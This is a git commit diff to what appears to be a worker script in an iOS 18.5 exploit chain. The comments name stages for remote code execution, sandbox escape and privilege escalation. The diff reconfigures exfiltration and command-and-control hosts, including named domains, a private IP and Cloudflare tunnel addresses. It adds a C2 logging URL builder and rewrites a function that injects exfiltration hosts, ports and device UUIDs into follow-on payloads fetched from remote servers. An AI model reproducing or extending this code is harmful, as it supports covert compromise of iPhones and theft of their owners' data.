feat: ds
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
/* rce_worker_18.5.js — dedicated iOS 18.5 / build 22F76 worker
|
||||
* Proven path: stage1_rce → sbx0/sbx1 → pe (cloned from rce_worker_18.6.js).
|
||||
* Selected by rce_loader pickWorkerFile / server darksword_workers_for_ios for 18.5.
|
||||
@@ -22,6 +22,14 @@ let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
let __printBudget = 60;
|
||||
let __printWindowStart = 0;
|
||||
var __labExfilUrl = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labExfilUrl;
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
|
||||
}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -48,7 +56,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", labWorkerApiBase() + "/api/ds/log?" + req , true);
|
||||
xhr.open("GET", labC2LogUrl(req) , true);
|
||||
if (__labDeviceUUID) {
|
||||
try { xhr.setRequestHeader('X-Device-UUID', __labDeviceUUID); } catch (e1) {}
|
||||
}
|
||||
@@ -56,43 +64,33 @@ function print(x, reportError = false, dumphex = false) {
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
var __exfilHost = 'mh0usocqzi6f46i.com';
|
||||
var __exfilHost = '192.168.31.130';
|
||||
var __exfilHttpPort = 4001;
|
||||
var __exfilHttpsPort = 4001;
|
||||
var __exfilTls = false;
|
||||
var __exfilFallbackHost = '';
|
||||
var __exfilFallbackHttp = 4001;
|
||||
var __labDeviceUUID = '';
|
||||
function labWorkerApiBase() {
|
||||
try {
|
||||
var tls = !!__exfilTls;
|
||||
var h = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var port = Number(tls ? (__exfilHttpsPort || 443) : (__exfilHttpPort || 443));
|
||||
var o = (tls ? 'https://' : 'http://') + h;
|
||||
if (!((tls && port === 443) || (!tls && port === 80) || !port)) o += ':' + port;
|
||||
return o;
|
||||
} catch (e) {}
|
||||
return 'https://mh0usocqzi6f46i.com:443';
|
||||
}
|
||||
function applyExfilFromData(data) {
|
||||
if (!data) return;
|
||||
if (data.exfilHost) __exfilHost = String(data.exfilHost);
|
||||
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 8018); } catch (_e) { __labExfilUrl = 'http://one99.vip:80'; }
|
||||
if (data.exfilHttpPort != null) __exfilHttpPort = Number(data.exfilHttpPort);
|
||||
if (data.exfilHttpsPort != null) __exfilHttpsPort = Number(data.exfilHttpsPort);
|
||||
if (data.exfilTls != null) __exfilTls = !!data.exfilTls;
|
||||
if (data.exfilFallbackHost) __exfilFallbackHost = String(data.exfilFallbackHost).split(':')[0];
|
||||
if (data.exfilFallbackHttpPort != null) __exfilFallbackHttp = Number(data.exfilFallbackHttpPort);
|
||||
if (data.deviceUUID) __labDeviceUUID = String(data.deviceUUID).replace(/-/g, '').toUpperCase();
|
||||
try { __labExfilUrl = (__exfilTls ? 'https://' : 'http://') + __exfilHost + ':' + (__exfilHttpsPort || __exfilHttpPort || 80); } catch (_e) { __labExfilUrl = ''; }
|
||||
}
|
||||
function patchExfilPayload(script) {
|
||||
if (!script) return script;
|
||||
// Lab alignment (DarKDevz/GitHub): always VPS IPv4 + plain :4001 / TLS :4001.
|
||||
// Never force domain:443 — inet_addr() rejects hostnames; CFStream TLS hangs InjectJS.
|
||||
var raw = String(__exfilHost || 'mh0usocqzi6f46i.com').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var h = raw || 'mh0usocqzi6f46i.com';
|
||||
var hp = '8018';
|
||||
var hsp = '8018';
|
||||
var raw = String(__exfilHost || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
var h = raw;
|
||||
var hp = String(Number(__exfilHttpPort || 80) || 80);
|
||||
var hsp = String(Number(__exfilHttpsPort || __exfilHttpPort || 80) || 80);
|
||||
var tls = !!__exfilTls;
|
||||
var delivery = '';
|
||||
try { delivery = String(host || '').replace(/"/g, ''); } catch (_d) {}
|
||||
var s = script;
|
||||
var stale = ['fax-hydraulic-mineral-minute.trycloudflare.com', '192.168.0.3',
|
||||
'192.168.0.2', 'describe-recommendation-sixth-harrison.trycloudflare.com',
|
||||
@@ -119,13 +117,11 @@ function patchExfilPayload(script) {
|
||||
s = s.replace(/const EXFIL_MC_USE_TLS = true/g, 'const EXFIL_MC_USE_TLS = true');
|
||||
// MPD JSContext may lack globalThis — bare assignment aborts pe_main before pe_main_start
|
||||
var pre = 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));'
|
||||
+ 'if(__peG){__peG.__PE_EXFIL_HOST__="' + h + '";'
|
||||
+ '__peG.__PE_EXFIL_TLS__=false;'
|
||||
+ '__peG.__PE_EXFIL_HTTP__=' + hp + ';'
|
||||
+ '__peG.__PE_EXFIL_HTTPS__=' + hsp + ';'
|
||||
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 4001) + ';') : '')
|
||||
+ 'if(__peG){'
|
||||
+ (h ? ('__peG.__PE_EXFIL_HOST__="' + h + '";__peG.__PE_EXFIL_TLS__=' + (tls ? 'true' : 'false') + ';__peG.__PE_EXFIL_HTTP__=' + hp + ';__peG.__PE_EXFIL_HTTPS__=' + hsp + ';') : '')
|
||||
+ (delivery ? ('__peG.__PE_DELIVERY_HOST__="' + delivery + '";') : '')
|
||||
+ (__exfilFallbackHost ? ('__peG.__PE_EXFIL_FALLBACK_HOST__="' + String(__exfilFallbackHost).split(':')[0] + '";__peG.__PE_EXFIL_FALLBACK_HTTP__=' + String(__exfilFallbackHttp || 80) + ';') : '')
|
||||
+ (__labDeviceUUID ? ('__peG.__LAB_DEVICE_UUID__="' + __labDeviceUUID + '";') : '')
|
||||
+ (typeof host === 'string' && host ? ('__peG.__PE_DELIVERY_HOST__="' + String(host).replace(/"/g, '') + '";') : '')
|
||||
+ '}}catch(_pePre){}\n';
|
||||
return pre + s;
|
||||
}
|
||||
@@ -145,12 +141,12 @@ function getJS(fname, method = 'GET', tries = 5)
|
||||
// Prefer gofun for large payloads — device WebContent often ATS-blocks cleartext :8080.
|
||||
if (heavy) {
|
||||
if (primary && bases.indexOf(primary) < 0) bases.push(primary);
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
} else {
|
||||
if (primary) bases.push(primary);
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://one99.vip:80') < 0) bases.push('http://one99.vip:80');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
if (bases.indexOf('http://192.168.31.130:8080') < 0) bases.push('http://192.168.31.130:8080');
|
||||
}
|
||||
if (!bases.length) { print('getJS: no host'); return ''; }
|
||||
const maxTries = heavy ? Math.min(tries, 3) : tries;
|
||||
|
||||
Reference in New Issue
Block a user